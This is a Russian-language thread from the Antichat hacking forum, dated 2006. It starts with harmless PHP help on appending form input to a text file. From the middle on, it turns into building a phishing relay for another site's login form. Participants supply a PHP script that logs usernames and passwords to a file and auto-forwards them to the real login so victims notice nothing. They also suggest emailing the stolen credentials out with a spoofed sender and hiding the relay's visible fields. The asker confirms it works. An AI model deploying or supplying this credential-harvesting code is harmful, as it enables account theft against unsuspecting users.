Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   PHP, PERL, MySQL, JavaScript (https://forum.antichat.xyz/forumdisplay.php?f=37)
-   -   Php сохранение в txt (https://forum.antichat.xyz/showthread.php?t=24319)

XIII 22.09.2006 20:07

Php сохранение в txt
 
народ подскажите пожалуйста скрипт
мне надо чтобы человек заполнил форму и эти все данные сохранились в txt файл

off 22.09.2006 20:14

дозапись в файл

<?
$file = fopen("file.txt", "a+");

//переменные из формы ;)
$str = "text";

fputs($file, $str);

fclose ($file);

?>

вот, а дальше сам уж %))) я думаю передать из формы переменные не составит труда ....

Чекай php.ru )

XIII 22.09.2006 20:20

=) спс большое буду пробовать ноя ламер врятли получится

SMiX 22.09.2006 20:23

Чтобы получить данные из формы, используй переменные $_post и/или $_get
Только названия переменных заглавными должны быть.

Дикс 22.09.2006 22:35

в зависимости от размера данных. длина get-запроса не может превышать 1024 символа.

XIII 22.09.2006 23:23

А можету кого страничка есть с этим скриптом? а то что-то не получается =( кину 10 центов =)

Tem 22.09.2006 23:31

PHP код:

<?php
if($_POST['content']){
$fh fopen("file.txt""w");
fwrite($fh$_POST['content']);
fclose($fh);
}
?><form method=post>
<textarea name=content><?php echo file_get_contents("file.txt"); ?></textarea>
<input type=submit value="Отправить">
</form>

Так накинул тута на 5 мин и вот что вышла , после того как делаеш отправить создаётся файл file.txt и всё что написсано было в тексареи заносится туда.

XIII 23.09.2006 00:55

так текст удаляется =( а надо чтобы оставался и каждое новое сообщение было с новой строки

nc.STRIEM 23.09.2006 01:12

выложи свою форму! и те все напишут!
а есле хош чеб всё было с новой с троки, то запись в файл должан выглядить так :
PHP код:

$fh fopen("file.txt""a"); 
fwrite($fh$_POST['content']."\n"); 

короч пример че писал TEM над изменить на:

PHP код:

<?php
if($_POST['content']){
$fh fopen("file.txt""a");
fwrite($fh$_POST['content']."\n");
fclose($fh);
}
?><form method=post>
<textarea name=content></textarea>
<input type=submit value="Отправить">
</form>


XIII 23.09.2006 01:33

меня устраивает твоя =)
слу всё клёва но можно ли доавить ещё 2 формы и чтобы все записывались в одну строку

SMiX 23.09.2006 09:30

PHP код:

<?php
if(isset($_POST['content'],$_POST['content1'],$_POST['content2'])){
$fh fopen("file.txt""a");
fwrite($fh$_POST['content'].' '.$_POST['content1'].' '.$_POST['content2']."\n");
fclose($fh);
}
?><form method=post>
<textarea name=content></textarea><br />
<textarea name=content1></textarea><br />
<textarea name=content2></textarea><br />
<input type=submit value="Отправить">
</form>


XIII 23.09.2006 12:28

респект

edos 25.09.2006 02:10

а если есть вот такой код, что добавить чтоб вводимые данные сохранялись в файл:

PHP код:

<%
if (!
login) {
%>
<
div align="right">
<
form action='https://**************.ru/j_security_check' method='POST'>
<
input type="hidden" name="j_uri" value="index.jsp"/>
  <
table class="login">
    <
tr><td><b>Логин:</td><td><input type="text" name="j_username"></td></tr>
    <
tr><td><b>Пароль:</td><td><input type="password" name="j_password"></td></tr>
    <
tr><td colspan="2" align="right" style="padding:1pt 2pt">
        <
input type="submit" value="Вход" style="text-align:center;width:80px">
    </
td></tr>
  </
table>
</
form>
</
div>
<%
} else {
%>
<
div align="right">
<
a href="logout.jsp">Выйти [<%=Util.getUserLogin(request)%>]</a>
</
div>
<%
}
%> 


nc.STRIEM 25.09.2006 02:45

Эт те нужно иметь доступ к файлу https://**************.ru/j_security_check
те над будет сделать на нем расширение php и вписать это в форме: action='https://**************.ru/j_security_check.php'
а в том файле следующий код
PHP код:

<?php
if(isset($_POST['j_username'],  $_POST['j_password']))
  {
    
$fo=fopen("log.txt""a");
     
fwrite($fo"Логин:".$_POST['j_username']."\nПароль:".$_POST['j_password']."\n\n");
   
fclose($fo);
}
?>


edos 25.09.2006 03:42

доступа нет, могу поменять только там где форма. а можно сделать так, что переход сделать на http(без s)://**************.ru/j_security_check.php, а с него потом переадресацию на https://**************.ru/j_security_check ?

может еще есть какие варики, отсылка на мыло или еще что нить?

bul.666 25.09.2006 03:50

Цитата:

mail("кому", "title",$login.":".$pass, "From: micro@microsoft.com");
...

nc.STRIEM 25.09.2006 12:57

да можно сделать так: ты региш домен(есле у тя его нет) любой главное с поддержкой php заливаеш туда скрипт написаный ниже, и в своей форме меняеш значение action на адрес этого скрипта!
PHP код:

<?php 
if(isset($_POST['j_username'],  $_POST['j_password'])) 
  { 
    
$fo=fopen("log.txt""a"); 
     
fwrite($fo"Логин:".$_POST['j_username']."\nПароль:".$_POST['j_password']."\n\n"); 
   
fclose($fo); 

?>
<body onload="document.myform.submit()">
<form action='https://**************.ru/j_security_check' method='POST' name=myform>
<input type="hidden" name="j_uri" value="index.jsp"/>
<input type="text" name="j_username" value=<?print $_POST['j_username'];?>>
<input type="password" name="j_password" value=<?print $_POST['j_password'];?>>


em00s7 25.09.2006 13:19

Цитата:

да можно сделать так: ты региш домен(есле у тя его нет) любой главное с поддержкой php заливаеш туда скрипт написаный ниже, и в своей форме меняеш значение action на адрес этого скрипта!
ГЫГЫ а с каких пор домен стал поддерживать php ?)))))))
я подсталом.

bul.666 25.09.2006 13:55

Короче почитай! http://rst.void.ru/papers/site.txt

edos 25.09.2006 17:10

Цитата:

Сообщение от nc.STRIEM
да можно сделать так: ты региш домен(есле у тя его нет) любой главное с поддержкой php заливаеш туда скрипт написаный ниже, и в своей форме меняеш значение action на адрес этого скрипта!
PHP код:

<?php 
if(isset($_POST['j_username'],  $_POST['j_password'])) 
  { 
    
$fo=fopen("log.txt""a"); 
     
fwrite($fo"Логин:".$_POST['j_username']."\nПароль:".$_POST['j_password']."\n\n"); 
   
fclose($fo); 

?>
<body onload="document.myform.submit()">
<form action='https://**************.ru/j_security_check' method='POST' name=myform>
<input type="hidden" name="j_uri" value="index.jsp"/>
<input type="text" name="j_username" value=<?print $_POST['j_username'];?>>
<input type="password" name="j_password" value=<?print $_POST['j_password'];?>>



все работает на ура, только просматриваются формочки на фейковой странице, можно их как-нить убрать не мешая общему процессу ?

nc.STRIEM 25.09.2006 20:01

Цитата:

Сообщение от edos
все работает на ура, только просматриваются формочки на фейковой странице, можно их как-нить убрать не мешая общему процессу ?

да можно! поменяй type="text" и type="password" на type="hidden"! забыл сделать в универ спешил)))
Цитата:

Сообщение от em00s7
ГЫГЫ а с каких пор домен стал поддерживать php ?)))))))
я подсталом.

недостаточно точн выразился! всерн понятно че я имел ввиду!
P.S. Учи русский "я подсталом" ))))


Время: 12:19